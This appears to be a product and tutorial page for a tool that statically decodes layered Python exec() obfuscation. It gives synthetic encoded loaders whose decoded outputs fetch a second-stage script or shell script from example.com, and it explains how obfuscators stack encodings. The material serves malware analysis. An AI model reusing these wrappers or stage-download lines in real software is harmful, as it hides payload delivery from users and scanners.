Peel the exec() layers
Runs in your browser. Nothing is uploaded.The largest string literal is taken as the payload, and the transforms the script names are applied to it as byte operations, one layer after another. The paste is read as text and is not run. A bz2, LZMA or marshalled stage is named rather than unpacked here.
A Python exec() wrapper stores a script as an encoded string literal and rebuilds it at runtime with standard-library calls such as base64.b64decode and zlib.decompress, often several layers deep. Because the literal and the names of the calls are both in the file, the layers can be reversed as plain data operations with the script left unrun. KlaroSkope peels the wrapper layers statically, names a stage that is compiled bytecode instead of presenting it as text, and returns the recovered script with the URLs and hosts it contains.
Worked examples
Synthetic samples. Each input decodes to the output shown, and the outputs are checked against the live engine before publication.
Example 1: exec() over zlib and Base64
import base64, zlib
exec(zlib.decompress(base64.b64decode('eNrLzC3ILypRKC3KyclM0itKLSxNLS7hQuXqAblFqSVFmallqRpKGSUlBcVW+vqpFYm5BTmpesn5ufrFJYnpqUZ6BZVKOgpKCI4mALS1ImE=')))
import urllib.request
urllib.request.urlretrieve("https://example.com/stage2.py", "stage2.py")The canonical one-liner. The Base64 text begins with eJ, which is what a zlib stream looks like once it is Base64-encoded, so the second step is known before the first is finished.
Example 2: Lambda indirection with a reversed payload
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==gfbQoV+ozT+HKxsdaQIp2vvkimS9RVPxSyHjQ9GA1cbNV3QsYwDZTGG0W17Oefd0O6p0fCNoQgp2UvZTrOOR4UdDdBMADgKEDyFpNe'))
import os
os.system("curl -s https://example.com/update.sh -o /tmp/update.sh")The shape free online obfuscators emit. The literal is not an argument of b64decode at all: it reaches the decoder through a lambda parameter, and the [::-1] slice reverses it first, so a search for a Base64 call around a string finds no match.
Example 3: Three stacked layers: Base32, Base85, then zlib and Base64
import base64
exec(base64.b32decode('NFWXA33SOQQGEYLTMU3DICTFPBSWGKDCMFZWKNRUFZRDQNLEMVRW6ZDFFATVQPSEFNBWCJRDMJFVMUSMGBJEOJKPEVQFSLLXKQTFO4JUEZ5UIMBKPFNFM3CIJA2VM63EJI3GCJKGKJFUG7KMOJAVO2L6KZ6VM3JTGVXFO3RKOQWVO2DGL5IVASB4JR3GIUCQOJMEY4KTMJNFARDPIBQGG6CQIBQE6PRFK4TFCYSUMV3FSZKIM5TVCJSEIFCEMPJZO5BEQQJLPBMVMT2VMBPE27CNO5UU2TLZH4UUORLBJFPVCKZQKRBVENBLOFIU23RNIZHEMP3FNM6GEWDJMUZE42LKPBCUM2KUKRFWCNZ5MVWVCKKYNJJVGWTBG4RUOO2LIZEEMRLNG5FU23RBGI7VQRSXLE4UISTEPBWSOKJJBI======'))
import urllib.request
print(urllib.request.urlopen("https://example.com/config.json").read())Each layer is itself a short exec() script in a different alphabet. The two lines at the centre have grown to several hundred characters by the time the third wrapper is on.
What an exec() wrapper is hiding
exec() runs a string as Python code. A wrapper takes a finished script, encodes it into a string literal, and ships that literal with a chain of standard-library calls that turn it back into source at the moment of execution. The calls are ordinary: base64.b64decode, zlib.decompress, bytes.fromhex, codecs.decode. Their appeal to an author is that they need no installation and that the stored literal contains none of the strings a scanner looks for, such as a URL, an import of socket, or a call to subprocess.
The weakness is structural. exec() needs real source, or a real code object, when it is called, and the interpreter can only build that from what the file contains. The literal and the names of the calls applied to it are both on the page, so the same sequence can be carried out as data operations by someone who has no intention of running the result.
READ THE CALLS FROM THE LITERAL OUTWARD
---------------------------------------
exec( zlib.decompress( base64.b64decode( 'eJzLzC3ILyp...' ) ) )
1. the literal
2. Base64 text to bytes
3. zlib bytes to source
4. the call that would run it: stop here and read insteadReading the chain inside out
- Find the payload first. It is usually the longest string or bytes literal in the file by a wide margin, and the rest of the script is a few dozen characters of plumbing around it.
- Read the calls from the literal outward. The call nearest the literal is applied first, so `zlib.decompress(base64.b64decode(x))` means Base64 and then zlib, the reverse of the order the names appear in.
- Check for a slice. `[::-1]` after the literal, or inside a lambda body, reverses the string before any decoding, and a Base64 decode of the unreversed text fails or yields noise.
- Look at the first bytes after each step. Compression formats announce themselves, so the result of a Base64 decode tells you which module comes next even when the name has been aliased away.
- Stop when the result reads as Python. If it is another short script with its own exec() and its own literal, repeat from the top; that is a second layer, not a failure.
| Call | What its input looks like | What comes out |
|---|---|---|
| base64.b64decode | Letters, digits, + and /, padded with = to a multiple of four | Bytes |
| base64.b32decode | Uppercase letters and the digits 2 to 7 only, padded with = to a multiple of eight | Bytes |
| base64.b16decode, bytes.fromhex | Hex digits in pairs | Bytes |
| base64.a85decode | Printable characters from ! to u, sometimes framed by <~ and ~> | Bytes |
| base64.b85decode | Digits, letters and punctuation, with no quote or backslash characters | Bytes |
| zlib.decompress | Bytes beginning 78 01, 78 9C or 78 DA (Base64 text beginning eJ or eN) | Bytes, usually source |
| gzip.decompress | Bytes beginning 1F 8B (Base64 text beginning H4sI) | Bytes, usually source |
| bz2.decompress | Bytes beginning with the letters BZh | Bytes, usually source |
| lzma.decompress | Bytes beginning FD 37 7A 58 5A 00 | Bytes, usually source |
| marshal.loads | A serialised code object | Compiled bytecode, not text |
Stacked alphabets: Base32 inside Base85 inside Base64
A single Base64 layer is recognised by most tooling, so obfuscators stack several, and the more recent ones vary the alphabet between layers. The pattern is an onion of small scripts: the outer file decodes a Base32 literal and executes it, the result is a script that decodes a Base85 literal and executes that, and so on until the real code appears. The a85decode and b85decode functions have been in the base64 module since Python 3.4 (Python documentation), so the whole stack still needs no third-party import.
Stacking adds bulk, not secrecy. Base64 grows its input by a third, Base85 by a quarter, Base32 by sixty percent and hex doubles it, which is why a script of a few lines can arrive as a file of several hundred kilobytes. Each layer also has to name its own decoder in clear text, so the order is recoverable from the layers themselves. Where the names have been hidden, the alphabets still differ enough to tell apart: Base32 has no lowercase letters, hex has no letter past f, and Base85 is the one that contains punctuation.
When the next stage is bytecode: marshal
marshal.loads breaks the pattern. The other calls in the table return text an analyst can read, while marshal returns a compiled code object, the same thing the interpreter holds after importing a module. Peeling the transport layers correctly then leaves you holding bytecode. It is tempting to load it and inspect the object, and the Python documentation advises against exactly that: the module is not intended to be secure against erroneous or maliciously constructed data (Python documentation).
Packers use this to build stages that are almost empty. A small loader is compiled and marshalled, and its whole program is one instruction: decode this constant and execute it. The constant holds the next stage, which may be another marshalled loader of the same kind. The stages contain no logic worth reading, so the useful question at each one is what the large constant decodes to, and the names stored beside it (a Base64 call, a zlib call) say how. The .pyc and marshal guide covers reading a code object without loading it.
A paste that was cut short
Loaders this size are often truncated on the way to an analyst: a chat client limits message length, a terminal clips a long line, a ticketing system trims an attachment preview. The signs are a Base64 literal whose length is not a multiple of four, a missing closing quote, or a decompression error near the end of the data. A cut does not make the sample worthless. A zlib stream decompresses in order, so the script up to the cut is usually recoverable, and zlib.decompressobj().decompress(data) returns that partial output where zlib.decompress(data) raises an error. What matters is that the result is labelled as incomplete, because the missing tail is where a final call to the payload tends to sit.
Working through a loader safely
- Prefer decoding to executing. Replacing `exec` with `print` is the common shortcut, and it does print the next layer, but it also runs whatever the script does before that line, including imports with side effects and environment checks.
- Treat a recovered URL as data. It is for blocking, hunting and controlled retrieval, not for opening in a browser on the analysis machine.
- Keep the outer file. The wrapper shape, the variable names an obfuscator emits and the order of its layers make a more durable signature than the payload, which changes with each campaign.
- Expect a stage you cannot read. A marshalled object from a different Python version, or a payload decrypted with a key fetched at runtime, is a legitimate end to static analysis, and reporting it as such is more useful than a guess.
The decoder on this page reverses wrapper layers around one literal. For a whole file, with marshalled stages, archives packed in Base64 and indicator extraction, submit the file; the exec() obfuscation reference covers the techniques in depth.
Frequently Asked Questions
How do I decode exec(base64.b64decode(...)) without running it?
What does exec((_)(b'...')) with a lambda mean?
Is it safe to replace exec with print to see the payload?
Why does the Base64 string in a Python loader start with eJ?
What is marshal.loads doing in an obfuscated Python script?
Can this decode a script protected with PyArmor?
Continue Learning
Ready to decode?
Paste the script or upload the file. Multi-layer samples continue past this technique into whatever comes next.
Open the analysis console